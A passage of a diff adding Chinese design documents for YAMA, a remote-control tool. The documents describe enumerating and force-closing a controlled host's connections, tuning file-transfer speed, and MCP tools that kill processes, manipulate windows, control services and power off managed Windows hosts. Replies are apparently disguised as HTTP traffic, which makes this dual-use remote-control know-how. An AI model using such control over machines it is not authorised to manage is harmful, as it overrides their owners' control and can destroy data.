+  #endif
+  ```
+- `SendConnectionList()`：
+  1. 依次 `GetExtendedTcpTable`（AF_INET / AF_INET6）+ `GetExtendedUdpTable`（AF_INET / AF_INET6），
+     汇总到 `std::vector<ConnectionInfo>`；IPv4 地址展开为网络序字节（`PutAddr4`）、端口 `ntohs` 转主机序。
+  2. 每个 PID 用 `OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION)` + `GetModuleBaseNameW` 取映像名，
+     转 UTF-8 写入 `procName[64]`；失败/PID 0 填 `"<unknown>"`（进程可能已退出，端点仍有效）。
+  3. 组包 `[TOKEN_CONNECTION_LIST:1][count:2][records...]`，用
+     `HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); m_ClientObject->Send2Server(...);` 回传。
+- `OnReceive()`：
+  - `case COMMAND_CONNECTION:` → `SendConnectionList()`（刷新）。
+  - `case COMMAND_KILL_CONNECTION:` → 校验长度 ≥ 111，读 `ConnectionInfo`，`KillConnection()`，再 `SendConnectionList()`。
+- `KillConnection()`：仅 `proto==TCP && af==AF_INET`；组 `MIB_TCPROW`（`dwState=MIB_TCP_STATE_DELETE_TCB`），
+  地址由网络序字节拼回 DWORD（`GetAddr4`）、端口 `htons` 转回网络序，`SetTcpEntry(&row)`。
+- 编译：`common/config.h` 增 `#define ENABLE_CONNECTION_MNG TRUE`（`// 连接管理`）。
+- 分发（`client/KernelManager.cpp`）：在 `case COMMAND_SERVICES:` 后加
+  ```
+  case COMMAND_CONNECTION: {
+      if (!ENABLE_CONNECTION_MNG) return ResponseDisable(...);
+      { auto* sub = new IOCPClient(...); sub->EnableSubConnAuth(); ...; }
+      m_hThread[m_ulThreadCount++].h = __CreateThread(..., LoopConnectionManager, ...);
+      break;
+  }
+  ```
+- 线程注册（`client/Common.cpp` / `Common.h`）：`#define LoopConnectionManager LoopManager<CConnectionsManager, 0>`。
+
+## 5. 服务端实现
+
+新增 `server/2015Remote/ConnectionsDlg.{h,cpp}`，镜像 `CServicesDlg`：
+
+- `CConnectionsDlg(CWnd*, Server*, CONTEXT_OBJECT*) : DialogBase(IDD_DIALOG_CONNECTIONS, pParent, IOCPServer, ContextObject, IDI_CONNECTION)`。
+- `OnInitDialog`：`InsertColumnL` 建列 `协议 | 本地地址 | 本地端口 | 远端地址 | 远端端口 | 状态 | PID | 进程名`（8 列），调 `ShowConnectionList()`。
+- `ShowConnectionList()`：解析 `m_ContextObject->InDeCompressedBuffer`（`[token:1][count:2][records...]`）填表，
+  每条 `SetItemData` 存行内偏移（或直接把 `ConnectionInfo` 存进项关联数据），供右键断连取回记录。
+- `OnReceiveComplete()`：`case TOKEN_CONNECTION_LIST: ShowConnectionList()`。
+- `OnNMRClickList()`：用 `pNMItemActivate->iItem` 取**鼠标右键所在行**（而非仅依赖已选中行），
+  由该行 `SetItemData` 里存的 `ConnectionInfo` 拿回记录；`LoadMenu(IDR_MENU_CONNECTIONS)` →
+  `TrackPopupMenu`；菜单项「强制断开」（`ID_CONNECTION_KILL`）对**仅 IPv4 TCP 行可用**，发
+  `[COMMAND_KILL_CONNECTION:1][record:110]`；UDP/IPv6 行禁用该菜单项（`MF_GRAYED`）。
+- 对话框标题栏图标 `IDI_CONNECTION`（`.ico`，`DialogBase` 构造第 5 参）与工具栏位图条第 17 个
+  48×48 图标是两回事：前者复用现有图标（如 `IDI_SERVICE`）或新增一个 `.ico`；后者编辑
+  `ToolBar_Main.bmp` 补第 17 格（见下）。
+- 提供刷新（补发 `COMMAND_CONNECTION`）与 `OnClose`→`CancelIO()`。
+
+工具栏 / 消息路由（`2015RemoteDlg.{h,cpp}` + `Resource.h` + `.rc`）：
+
+- `Resource.h`：`IDD_DIALOG_CONNECTIONS 404`、`IDR_MENU_CONNECTIONS 405`、`IDI_CONNECTION`（新图标 ID）、
+  `ID_CONNECTION_MANAGE 33086`（`_APS_NEXT_COMMAND_VALUE` 现为 33086，用后 +2）、`ID_CONNECTION_KILL`；
+  同步上调 `_APS_NEXT_RESOURCE_VALUE`/`_APS_NEXT_COMMAND_VALUE`。
+- `.rc`（UTF-16LE，Node 脚本改）：`IDR_TOOLBAR_MAIN` 末尾加 `BUTTON ID_CONNECTION_MANAGE`；
+  新增 `IDD_DIALOG_CONNECTIONS` 对话框与 `IDR_MENU_CONNECTIONS` 菜单。
+- `res\ToolBar_Main.bmp`：**加宽为 816×48，补第 17 个 48×48「连接」图标**（实现时用脚本合成一个
+  双节点/插头样式图标插入条尾；图标观感属评审项）。
+- `2015RemoteDlg.cpp`：
+  - `SetButtonText(16, _TR("连接管理"))`（1420 行后）。
+  - `hiddenCount >= 16`（1471 行）**无需改动**（连接按钮不参与隐藏，理由见 §2）。
+  - `ON_COMMAND(ID_CONNECTION_MANAGE, &CMy2015RemoteDlg::OnConnectionManage)`（993 行后）。
+  - `OnConnectionManage()`：`BYTE bToken = COMMAND_CONNECTION; SendSelectedCommand(&bToken, sizeof(BYTE));`。
+  - `MessageHandle` 加 `case TOKEN_CONNECTION_LIST:` → `SendMessage(WM_OPENCONNECTIONDIALOG, 0, (LPARAM)ContextObject)`（6609 行后）。
+  - `ON_MESSAGE(WM_OPENCONNECTIONDIALOG, OnOpenConnectionDialog)` + `OnOpenConnectionDialog` →
+    `OpenDialog<CConnectionsDlg, IDD_DIALOG_CONNECTIONS>(wParam, lParam)`。
+- `stdafx.h`：`#define WM_OPENCONNECTIONDIALOG WM_USER + 3045`（现最高占用 `WM_USER+3044`，已核实无冲突）。
+- 语言：`lang/en_US.ini` / `zh_TW.ini`（GBK，Python 改）补「连接管理 / 强制断开 / 8 列表头」文案。
+
+## 6. 强制断开的实现与限制
+
+- **仅 IPv4 TCP** 用 `SetTcpEntry` + `MIB_TCP_STATE_DELETE_TCB`（公开 API 唯一支持）。
+- **重构 `MIB_TCPROW` 要点**：`dwState=12`；`dwLocalAddr/dwRemoteAddr` 由 16 字节字段前 4 字节的
+  网络序字节拼回网络序 DWORD（`GetAddr4`）；`dwLocalPort/dwRemotePort` 由主机序 `htons` 转回网络序。
+- **UDP**：无「按端点关闭 socket」的公开 API，MVP 只读展示（菜单置灰）。
+- **IPv6 TCP**：`SetTcpEntry` 的 `MIB_TCPROW` 为 IPv4 结构，无公开的 IPv6 对应删除 API，MVP 只读展示。
+- **权限**：`SetTcpEntry` 需管理员/足够权限；YAMA 客户端通常以服务（SYSTEM）运行，满足。若非提权，
+  `SetTcpEntry` 返回错误，`KillConnection` 静默失败并在刷新后的列表中保留该行（可观察结果，不误报）。
+
+## 7. 安全与边界
+
+1. **可能断开 YAMA 自身控制通道**：连接列表包含客户端↔服务端的主/子连接本身，若管理员选中并强制断开，
+   对应主机会立即离线。对话框对此不做特殊保护（与 `kill_process` 可杀自身守护进程同理），
+   但列表按 PID 可辨识本程序进程名，便于人工避让。
+2. **强制断开不可逆**：断的是对端已建立的 TCP 连接，应用层不保存状态，可能造成数据丢失；对话框不弹二次确认
+   （确认责任在操作者），但右键菜单为显式单点操作。
+3. **枚举成本**：每行一次 `OpenProcess` 取进程名，数百行连接约毫秒~十毫秒级，可接受；`OpenProcess` 失败直接
+   `"<unknown>"`，不阻塞枚举。
+4. **PID 复用 / 进程退出**：断连用的是**端点**而非 PID，进程退出不影响 `SetTcpEntry` 命中；`procName` 仅用于展示。
+5. **HTTP 分片**：连接数多时列表可超 1460 字节，依赖已修复的分片续包处理（§3.3）。
+6. **老版本客户端**：老客户端无 `COMMAND_CONNECTION` 处理，点工具栏会无响应（与「老客户端不支持活动历史/日志」
+   同类），属预期；不影响服务端其它功能。
+
+## 8. 验证计划（施工后填写）
+
+1. 服务端：MSBuild 加 `-p:SolutionDir` 编译通过（见项目记忆 yama-server-msbuild-solutiondir）；客户端同步编译。
+2. 部署客户端到真实 Windows 主机 → 服务端选中主机 → 点新图标 → 对话框列出 TCP/UDP（含 IPv4/IPv6）连接，
+   字段（协议/地址/端口/状态/PID/进程名）与远端 `netstat -ano` 一致。
+3. 右键一条 **IPv4 TCP** 已建立连接（如对测试服务器的 ESTABLISHED）→ 强制断开 → 刷新后该行消失、
+   远端 `netstat` 不再显示；进程自身未受影响。
+4. 右键 **UDP / IPv6** 行 → 菜单项置灰，不可断连。
+5. 刷新按钮 / 重复打开对话框 → 列表更新正常；关对话框后子连接释放（无泄漏）。
+6. 回归：服务管理 / 进程管理 / MCP 等既有功能不受影响（无 command/token/ID 冲突）。
+
+## 9. 实现记录
+
+- 已实现并评审通过（2026-10-04）。实现与 §4/§5 一致：工具栏第 17 个图标（`ID_CONNECTION_MANAGE`，紧邻 MCP 之后）
+  打开连接管理对话框；客户端新增 `CConnectionsManager` 枚举并回传本机 TCP/UDP 连接；服务端新增 `CConnectionsDlg`
+  表格展示、右键「强制断开」发 `COMMAND_KILL_CONNECTION`、支持表头点击排序。
+- **评审修正一处关键缺陷（字节序）**：iphlpapi 的 IPv4 地址 `dwLocalAddr` 是网络序 DWORD、端口 `dwLocalPort`
+  低 16 位是网络序。初版「原样 memcpy / 原样回填」导致展示的 IPv4 地址与端口字节序颠倒（强断因往返对称仍能命中）。
+  已改为：地址存网络序字节（`PutAddr4`）、端口 `ntohs` 转主机序；断连时地址拼回 DWORD（`GetAddr4`）、端口
+  `htons` 转回网络序。详见 §3.2 / §6。
+- 对话框标题栏小图标 `IDI_CONNECTION` 由工具栏第 17 个图标生成 `res/connections.ico`（48/32/16，32 位带透明）。
+- 编译：`client/ConnectionsManager.cpp`（UTF-8 BOM + CRLF，`ws2tcpip.h` 引入 `_WS2IPDEF_` 以使用 IPv6 MIB 结构）
+  经 MSBuild（v143 工具集覆盖）编译通过；整仓 ghost 构建在本机 BuildTools 因缺少 ATL 头受阻，属环境问题，与本功能无关。

docs/FileTransferSpeed_Design.md

@@ -0,0 +1,151 @@
+# YAMA 文件传输速度调节设计
+
+> **状态**：已实现（Windows 端，含多语言）。其他平台（Linux/macOS 客户端）暂不实施。
+> **读者**：研发/评审人员。
+> **关联文档**：[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)（V2 协议）、[Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md)（MCP 文件传输）。
+
+---
+
+## 1. 背景与目标
+
+文件传输速度目前是**写死的**：`SimplePlugins` 库的 `InitFileUpload(key, msg, hmac, chunkSizeKb, sendDurationMs, ...)` 被 YAMA 所有调用点传 `64, 50`，折算 ≈ 1.25 MB/s。用户无法调节。
+
+目标：在 YAMA 主菜单「高级」下新增一个**面向小白**的「文件传输速度」对话框——拖动滑块即完成设置，实时显示预估速度；**不修改 SimplePlugins 库**（库已编译，只通过其已暴露的 `chunkSizeKb`/`sendDurationMs` 两个入参控制）。
+
+---
+
+## 2. 速度原理（现状）
+
+库内部把两个入参转成全局量（`SimplePlugins/file_upload.cpp:221-222, 849-850`）：
+
+```cpp
+static int chunk_size   = 64 * 1024;  // 默认 64KB
+static int send_duration = 50;        // 默认 50ms
+// InitFileUpload:  chunk_size = chunkSizeKb * 1024;  send_duration = sendDurationMs;
+```
+
+发送循环每发一块就 `Sleep(send_duration)`（V1 `FileBatchTransferWorker` 与 V2 `FileBatchTransferWorkerV2` 共用这对全局量）：
+
+```
+预估速度 = chunkSizeKb * 1024 / (sendDurationMs / 1000) 字节/秒
+默认 64KB / 50ms ≈ 1.25 MB/s
+```
+
+两个关键约束：
+
+1. **速度只在 `InitFileUpload` 时设定一次**，库无运行时 setter（`g_threadCount > 1` 时提前返回，不会重设）。
+2. **V1 / V2 共用同一对全局量**，一次设置同时覆盖 `COMMAND_SEND_FILE(68)` 与 `COMMAND_SEND_FILE_V2(85)` 两种协议。
+
+---
+
+## 3. 档位表（权威唯一来源，主控端对话框维护）
+
+| 档位 | 名称 | chunkKb | durationMs | 预估速度 |
+|---|---|---|---|---|
+| 0 | 最慢 | 64 | 200 | ≈ 0.3 MB/s |
+| 1 | 慢 | 64 | 100 | ≈ 0.6 MB/s |
+| 2 | 默认 | 64 | 50 | ≈ 1.25 MB/s |
+| 3 | 快 | 128 | 50 | ≈ 2.5 MB/s |
+| 4 | 更快 | 256 | 50 | ≈ 5 MB/s |
+| 5 | 很快 | 512 | 50 | ≈ 10 MB/s |
+| 6 | 不限速 | 1024 | 0 | 网络上限 |
+
+- 滑块 `CSliderCtrl` 范围 `0..6`，`SetPageSize(1)`，默认落在 2。
+- `durationMs = 0` 表示不人为限速（`Sleep(0)` 仅让出时间片，实际受带宽约束）。
+- **注意 Windows `Sleep` 粒度 ≈ 15.6ms**：`durationMs` 低于约 15ms 基本等同不限速。故档位要么 ≥ 20ms，要么直接 0ms，不设 5ms 之类的“名不副实”中间值。
+
+预估文案：`当前约 1.25 MB/s`；`durationMs==0` 显示 `不限速（受网络带宽约束）`。
+
+- **多语言**：档位名（最慢/慢/默认/快/更快/很快/不限速）与预估格式串（`%s · 约 %.2f MB/s`、`%s · 不受限速（受网络带宽约束）`）经 `_TR`/`_LF` 走 `LangManager` 翻译表；语言文件以中文原文为 key。刻度标签拆成 最慢/默认/不限速 三个独立 `LTEXT` 以便各自翻译（英文宽度不同，不能靠空格对齐）。
+
+---
+
+## 4. 两个方向的生效链路
+
+文件传输有两条方向，`InitFileUpload` 各自在不同进程/时机调用：
+
+| 方向 | 发送方 | `InitFileUpload` 调用点 | 生效方式 |
+|---|---|---|---|
+| 上传（主控端 → 被控端） | 主控端 | `server/2015Remote/2015RemoteDlg.cpp:2223`（启动一次） | 读 `THIS_CFG`，重启主控端生效 |
+| 下载（被控端 → 主控端） | 被控端 | `client/FileManager.cpp:40`（CFileManager 构造，每会话一次） | 读客户端配置（`MasterSettings` 登录下发写入），下次打开文件管理会话生效 |
+
+### 4.1 上传方向（主控端本地，无协议改动）
+
+`2015RemoteDlg.cpp:2223` 现为 `InitFileUpload({},{},GetHMAC(),64,50,Logf,GetUpperHash())`，改为读 `THIS_CFG`：
+
+```cpp
+int chunkKb = THIS_CFG.GetInt("transfer", "ChunkKb", 64);
+int durMs   = THIS_CFG.GetInt("transfer", "DurationMs", 50);
+InitFileUpload({}, {}, GetHMAC(), chunkKb, durMs, Logf, GetUpperHash());
+```
+
+### 4.2 下载方向（随 `MasterSettings` 登录下发到被控端）
+
+下载速度**不再用独立命令下发**，而是折叠进 `MasterSettings` 结构体，随**客户端每次登录成功**第一时间下发（主连接建立即 `SendMasterSettings`），客户端持久化到 `[transfer]` 节后本地生效：
+
+1. **`common/commands.h`**：在 `MasterSettings` 结构体 `Reserved` 之前新增两个字段（`sizeof` 仍为 1000，`Signature` 偏移不变，向下兼容老客户端）：
+   ```c
+   uint16_t TransferChunkKb;      // 文件传输速度 chunkKb（随登录配置下发）
+   uint16_t TransferDurationMs;   // 文件传输速度 durationMs（0=不限速）
+   ```
+2. **主控端登录即下发**：`OnInitDialog()` 读 `THIS_CFG` 的 `[transfer]`（`GetTransferSpeed`，默认 64/50），填入 `m_settings.TransferChunkKb/TransferDurationMs`。登录链路本就把 `m_settings` 经 `SendMasterSettings` 下发给每个新连接客户端，**无需任何额外命令**。
+3. **主控端改速即时广播**：`OnFileTransferSpeed()` 保存后同步更新 `m_settings` 两个字段并 `SendMasterSettings(nullptr, m_settings)`，在线客户端即时收到新速度；新连接主机也自动获取。
+4. **被控端接收**：客户端 `CMD_MASTERSETTING` 处理器（`client/KernelManager.cpp:1116` 附近）中，`TransferChunkKb` 非 0（老主控未携带时为 0，保留本地默认值）则把两数写入 `iniFile(CLIENT_PATH)` 的 `[transfer]` 节。
+5. **被控端调用点读配置**：`client/FileManager.cpp:40`（CFileManager 构造）等 4 个 `InitFileUpload` 调用点均读 `cfg.GetInt("transfer", ...)`，替换硬编码 `64, 50`。CFileManager 每会话重建（构造 Init、析构 Uninit），故下次打开文件管理即生效。
+
+> **为何不用独立命令**：v1.4.0 曾用独立 `CMD_FILE_SPEED(252)` 在 `OnOnlineFileManager()`/`OnOnlineDesktopManager()` 发 `COMMAND_LIST_DRIVE`/`COMMAND_SCREEN_SPY` **之前**追加下发。主控端 IOCP 对两次背靠背 `Send2Client` 会合并为两次整包 `WSASend`（`OutCompressedBuffer` 累积），导致客户端收到重复的 `[FILE_SPEED][SCREEN_SPY]` 命令流——这正是“点击远程桌面弹出两个对话框”的根因（commit 76decec）。改为随 `MasterSettings` 登录下发后，下载方向不再有任何背靠背发送。
+> **向后兼容**：`CMD_FILE_SPEED = 252` 命令号与客户端 `case CMD_FILE_SPEED` 处理器仍保留，供老主控（仍按旧机制下发）与新客户端互通；新主控不再发送该命令。
+> **关键**：库用进程级引用计数，速度只在**首次** `InitFileUpload` 时设定（`g_threadCount > 1` 时提前返回，不重设）。客户端共 4 个 `InitFileUpload` 调用点（`FileManager.cpp:40`、`ScreenManager.cpp:109`、`ScreenManager.cpp:873`、`KernelManager.cpp:1399`），谁先初始化谁锁定速度。故**这 4 处必须全部改为读同一配置**，否则下载速度会被先初始化的管理器（如远程桌面会话）锁成旧值。
+
+---
+
+## 5. 配置存储
+
+- 主控端：`THIS_CFG`（ini）`[transfer]` 节 `ChunkKb` / `DurationMs`（int）。
+- 被控端：`iniFile(CLIENT_PATH)` 的 `[transfer]` 节 `ChunkKb` / `DurationMs`（int），由 `MasterSettings` 登录下发写入。
+
+存 `ChunkKb`/`DurationMs` 两个 int 而非档位索引：自解释、直接对应 `InitFileUpload` 入参、不易错位。
+
+---
+
+## 6. 改动文件清单（Windows 端）
+
+| 文件 | 改动 |
+|---|---|
+| `server/2015Remote/resource.h` | 加 `IDD_FILE_SPEED`、`ID_TOOL_FILE_SPEED`、`IDC_FSPEED_SLIDER`、`IDC_FSPEED_LABEL`、`IDC_FSPEED_RESET` |
+| `server/2015Remote/2015Remote.rc` | 「高级」菜单加一项；新增对话框资源（滑块+预估标签+按钮）。**文件为 UTF-16LE 编码，须按 Unicode 读写** |
+| `server/2015Remote/CFileSpeedDlg.h` | 新建：档位表 + `OnHScroll` 实时预估 + 恢复默认（照 `CPreviewLevelsDlg.h` 内联实现） |
+| `server/2015Remote/2015RemoteDlg.h` | 加 `OnFileTransferSpeed()` 声明 |
+| `server/2015Remote/2015RemoteDlg.cpp` | 消息映射 `ON_COMMAND(ID_TOOL_FILE_SPEED, ...)`；`2223` 读配置（上传）；`OnInitDialog()` 把 `[transfer]` 速度填入 `m_settings`；`OnFileTransferSpeed()` 保存后更新 `m_settings` 并经 `SendMasterSettings(nullptr, ...)` 广播 |
+| `common/commands.h` | `MasterSettings` 新增 `TransferChunkKb`/`TransferDurationMs`（`sizeof` 不变，`CMD_FILE_SPEED=252` 保留向后兼容） |
+| `client/KernelManager.cpp` | `CMD_MASTERSETTING` 处理器写 `[transfer]`（`TransferChunkKb` 非 0 才写） |
+| `client/FileManager.cpp`、`client/ScreenManager.cpp`、`client/KernelManager.cpp` | 4 个 `InitFileUpload` 调用点读配置替换硬编码 `64, 50`（引用计数要求全部一致） |
+| `server/2015Remote/lang/en_US.ini`、`zh_TW.ini`、`de_DE.ini` | 追加「文件传输速度」相关 13 条中文原文→译文（GBK 编码，`RCDATA "lang\*.ini"` 由 rc.exe 嵌入） |
+
+---
+
+## 7. 生效时机与提示文案
+
+- 上传速度：重启主控端生效。
+- 下载速度：已推送到在线客户端即时生效；新连接的主机自动获取。
+- 对话框保存后弹提示：`文件传输速度已保存。上传速度重启主控端后生效；下载速度已推送到在线客户端，新连接的主机也会自动获取。`
+
+---
+
+## 8. 风险与备注
+
+1. **`Sleep` 精度**：Windows 计时器粒度约 15.6ms，`durationMs` 过小则失真（见 §3）。
+2. **实际速度 < 预估**：预估为纯 `chunk/delay` 理论值，未计入 `f()` 网络发送耗时；对话框文案用“约/大概”表述。
+3. **结构体字段布局**：`TransferChunkKb`/`TransferDurationMs` 加在 `Reserved` 之前（`sizeof(MasterSettings)` 仍为 1000，`Signature` 偏移不变），保证与 Go 侧/老客户端二进制兼容；`TransferChunkKb == 0` 作为“未下发”哨兵（老主控未填充 → 客户端保留本地默认值）。
+4. **`.rc` 编码**：`2015Remote.rc` 为 UTF-16LE（带 BOM），编辑必须按 Unicode 处理，避免破坏资源脚本。
+5. **跨平台**：Linux/macOS 客户端下载路径暂不改；`MasterSettings` 新增字段位于原 `Reserved` 区（老/其他平台客户端不识别即忽略），向后兼容。
+6. **多语言 key 精确匹配**：语言文件为 GBK 编码、key 不 trim（`CIniParser` 保留原始空格）；译文 key 必须与源码逐字一致——源码为 UTF-8、经 `/execution-charset:.936` 编译为 GBK，`·`(U+00B7)、全角括号（）等需一致，否则查不到翻译。
+
+---
+
+## 9. 实施顺序
+
+1. `common/commands.h` 扩 `MasterSettings` → `resource.h` 加 ID → `.rc` 加菜单项与对话框资源。
+2. 新建 `CFileSpeedDlg.h` → `2015RemoteDlg` 接线（上传方向，可先验证）。
+3. 主控端经 `MasterSettings` 下发速度 → 客户端 `CMD_MASTERSETTING` 持久化 → 客户端调用点读配置（下载方向）。
+4. 编译验证（MSBuild 须传 `-p:SolutionDir`，见项目记忆）。

docs/Mcp_Manage_Design.md

@@ -0,0 +1,219 @@
+# MCP P7 设计：设备管理控制（kill / window / service / power）
+
+> 延续 `Mcp_Design.md` → `Mcp_Phase2_Design.md`（P2）→ P3/P4/P5/P6 的阶段演进。
+> 本文定义 P7：把 YAMA 服务端高频「控制类」操作 MCP 化，补上从「观测」到「管控」的短板，
+> 服务「自然语言即可操作服务端、对受管设备全方位管控」的最终目标。
+>
+> 安全门结论（已确认）：新增**单一 `McpManage` 开关**统一门控本阶段全部控制类工具，
+> 并要求 `McpReadonly=0`；不再为每个工具单设开关。
+
+## 1. 目标与范围
+
+P7 交付 4 个控制类工具，覆盖服务端日常最常用的写操作：
+
+| 工具 | 动作 | 命令 | 连接 | 确认方式 |
+|---|---|---|---|---|
+| `kill_process` | 结束进程（多 pid） | `COMMAND_KILLPROCESS` | 系统子连接 | 补发 `COMMAND_PSLIST` 收新列表 |
+| `operate_window` | 关闭/显示/隐藏/最小化/最大化/还原 | `CMD_WINDOW_CLOSE` / `CMD_WINDOW_TEST` | 窗口子连接 | close 自动回 `TOKEN_WSLIST`；test 补发 `COMMAND_WSLIST` |
+| `control_service` | 启动/停止/设为自动/设为手动 | `COMMAND_SERVICECONFIG` | 服务子连接 | 客户端每项 Sleep(500) 后自动 `SendServicesList` |
+| `power_action` | 注销/关机/重启 | `TOKEN_MACHINE_MANAGE` | 主连接 | 发完即走（无响应） |
+
+仅 Windows 客户端支持（`clientType` 为 LNX/MAC/**APK** 提前返回 `-32005`；注意 `list_services`
+只排除了 LNX/MAC、漏掉 APK，P7 需把 APK 一并排除）。
+
+## 2. 复用现状
+
+P7 **不改客户端**。客户端已全部实现下列处理（MFC 界面在跑），MCP 侧只需补齐
+「发命令 → 接管子连接 → 发写命令 → 收确认 → 关闭」这条链：
+
+- 系统子连接：`COMMAND_SYSTEM`（进程）/ `COMMAND_WSLIST`（窗口）→ 客户端开 `CSystemManager`
+  子连接（`client/KernelManager.cpp` 1169/1182，`client/SystemManager.cpp`）。
+- `COMMAND_KILLPROCESS`：`CSystemManager::KillProcess`（`TerminateProcess`，无回包）。
+- `CMD_WINDOW_CLOSE`：`PostMessage(hWnd, WM_CLOSE)` 后自动 `SendWindowsList`。
+- `CMD_WINDOW_TEST`：`ShowWindow(hwnd, dHow)`（不自动回包）。
+- `COMMAND_SERVICECONFIG`：`CServicesManager::ServicesConfig`（`client/ServicesManager.cpp` 213），
+  bCmd=1 启动 / 2 停止 / 3 自动 / 4 手动，每项后 `Sleep(500)` + `SendServicesList`。
+- `TOKEN_MACHINE_MANAGE`：`KernelManager.cpp` 872，`ExitWindowsEx`（注销/关机/重启）。
+
+复用现有 MCP 基建（`server/2015Remote/McpServer.{h,cpp}`）：
+
+- `ParseHostIdArg` / `FindMainContext`：入参解析 + 主连接定位。
+- `BeginPending` / `WaitPending` / `ClearPending` / `TakeMainResponse`：单飞行挂起 + 响应回收。
+- `OnRegeditReady`：已示范「接管子连接 → 发后续命令」的范式（P3 list_registry 三阶段），P7 直接泛化。
+
+## 3. 子连接生命周期（P7 核心新增）
+
+写工具与只读工具的关键差异：只读工具「子连接回一包即完成」，写工具需要
+「**接管子连接 → 发写命令 → 收确认 → 关闭**」。在现有 `PendingRequest` 上增加
+`followUp`（接管后要发的写命令 payload，二进制）+ `followUpSent`（是否已发写命令）两个字段：
+
+```
+followUpSent == false  →  等子连接就绪（首包 TOKEN_*LIST 到达 = 就绪）
+followUpSent == true   →  已发写命令，等确认包
+```
+
+> 关键事实（已核实）：三个工具各自的「就绪 token」与「确认 token」**是同一个 token**——
+> 客户端子连接构造即回一包（就绪），写操作后再回一包（确认）。因此必须用 `followUpSent`
+> 区分这两次到达，而不能靠 token 区分。这也是它与 `list_registry`（PATH/KEY 两个不同 token）
+> 的差别。
+
+流程（以 `kill_process` 为例）：
+
+1. 工具线程 `BeginPending(devId, "kill_process")` 登记单飞行（false = 设备忙），并预填
+   `followUp`（`COMMAND_KILLPROCESS` 多 pid 包）。
+2. 主连接发 `COMMAND_SYSTEM`。
+3. 客户端开系统子连接，首包 `TOKEN_PSLIST` 到达 → `MessageHandle` 调新增的
+   `OnSystemReady(devId, subCtx)`（类比 `OnRegeditReady`）：
+   - 命中挂起且 `followUpSent==false` → 保存 `subCtx`、置 `followUpSent=true`、向子连接发
+     `followUp`，随后补发 `COMMAND_PSLIST` 索取新列表。
+4. 客户端杀进程后回第二个 `TOKEN_PSLIST` → `TakeMainResponse` 取走（`followUpSent==true`
+   命中）→ 关闭子连接（`CancelIO`）→ 唤醒工具线程。
+5. 工具线程解析新进程列表返回；超时/失败走 `ClearPending`（**含 `subCtx->CancelIO()`**，防孤儿子连接）。
+
+> 注意：`followUp`（写命令）与「补发的 `COMMAND_PSLIST`/`COMMAND_WSLIST`」必须是**两次独立的
+> `Send2Client` 调用**，不能拼成一个 buffer——客户端 `OnReceive` 按 `szBuffer[0]` 单命令分发，
+> 拼包会把后续字节当成 pid/hwnd 解析。
+
+接管函数（进程/窗口共用同一个 `OnSystemReady`——两者都在同一个 `CSystemManager` 子连接上，
+客户端 `OnReceive` 统一处理 `COMMAND_PSLIST`/`COMMAND_KILLPROCESS`/`COMMAND_WSLIST`/
+`CMD_WINDOW_CLOSE`/`CMD_WINDOW_TEST`）：
+
+| 工具 | 开子连接命令 | 就绪包（首包） | 接管后写命令 | 确认包（第二包） |
+|---|---|---|---|---|
+| `kill_process` | `COMMAND_SYSTEM` | `TOKEN_PSLIST` | `COMMAND_KILLPROCESS` + 补 `COMMAND_PSLIST` | `TOKEN_PSLIST` |
+| `operate_window` | `COMMAND_WSLIST` | `TOKEN_WSLIST` | `CMD_WINDOW_CLOSE`（close 自动回）；`CMD_WINDOW_TEST`（test 补 `COMMAND_WSLIST`） | `TOKEN_WSLIST` |
+| `control_service` | `COMMAND_SERVICES` | `TOKEN_SERVERLIST` | `COMMAND_SERVICECONFIG`（客户端写后自动 `SendServicesList`） | `TOKEN_SERVERLIST` |
+
+`MessageHandle` 现有分派点（均已核实）：
+
+- `TOKEN_PSLIST`/`TOKEN_WSLIST` 分支：`2015RemoteDlg.cpp:6540`（当前 `TakeMainResponse`+`CancelIO`）
+- `TOKEN_SERVERLIST` 分支：`2015RemoteDlg.cpp:6585`（同上）
+
+接入方式：在这两个分支的 `IsPending(devId)` 命中后，**先按 `pending.tool` 判断是否为
+写工具（kill/operate/control_service）**；是则调 `OnSystemReady`/`OnServiceReady`（返回 true
+= 已接管、不 `CancelIO`），否则沿用现有 `TakeMainResponse`+`CancelIO`。与 `TOKEN_REGEDIT`
+分支调用 `OnRegeditReady`（`2015RemoteDlg.cpp:6561`）的写法一致，避免与人工界面抢子连接。
+
+## 4. 工具 schema
+
+### 4.1 `kill_process`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填，主机 id）",
+  "pids": ["integer 数组（必填，至少 1 个进程 PID）"] }
+// outputSchema
+{ "remaining": ["integer 数组（杀完后仍在运行的 PID）"] }
+```
+
+- payload：`[COMMAND_KILLPROCESS:1][pid:4]*N`（DWORD 小端，与 `SystemDlg::OnPlistKill` 一致）。
+- 成功判定：返回 `remaining`（发 `COMMAND_PSLIST` 后进程列表里已不含目标 pid 即视为成功）。
+- 描述需写明：`TerminateProcess` 强制结束、不保存进程状态，可能造成数据丢失。
+
+### 4.2 `operate_window`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
+  "hwnd": "integer（必填，窗口句柄，取 list_windows 返回的 hwnd）",
+  "action": "string（必填）close|show|hide|minimize|maximize|restore" }
+// outputSchema
+{ "ok": "boolean" }
+```
+
+- payload（与 `SystemDlg::OnWlistClose/OnWlistHide/OnWlistRecover/OnWlistMax/OnWlistMin` 一致，
+  **固定 20 字节零填充 `BYTE lpMsgBuf[20]`，hwnd 一律按 `DWORD`（4 字节）小端写入 offset 1**）：
+  - `close` → `[CMD_WINDOW_CLOSE:1][hwnd:4]`（客户端 `PostMessage WM_CLOSE`）。
+  - 其余 → `[CMD_WINDOW_TEST:1][hwnd:4][dHow:4]`，dHow 映射（MFC 实测值）：
+    `hide=SW_HIDE(0)` / `show=SW_NORMAL(1)` / `restore=SW_NORMAL(1)` /
+    `maximize=SW_MAXIMIZE(3)` / `minimize=SW_MINIMIZE(6)`。
+- 缓冲器必须补零到 20 字节：客户端 `close` 分支读 `*((HWND*)(szBuffer+1))`，在 x64 是 8 字节，
+  而服务端只写了 4 字节 hwnd——正是 20 字节零填充补齐了高 4 字节，读出的 HWND 才是正确值；
+  若 MCP 发最小 5 字节包，会越界读。`test` 分支（`TestWindow`）读 `[hwnd:4][dHow:4]` 共 9 字节，
+  20 字节缓冲也足够。MFC 固定发 `lpMsgBuf[20]` 正是为此，MCP 照搬。
+
+### 4.3 `control_service`
+
+```jsonc
+// inputSchema
+{ "id": "string（必填）",
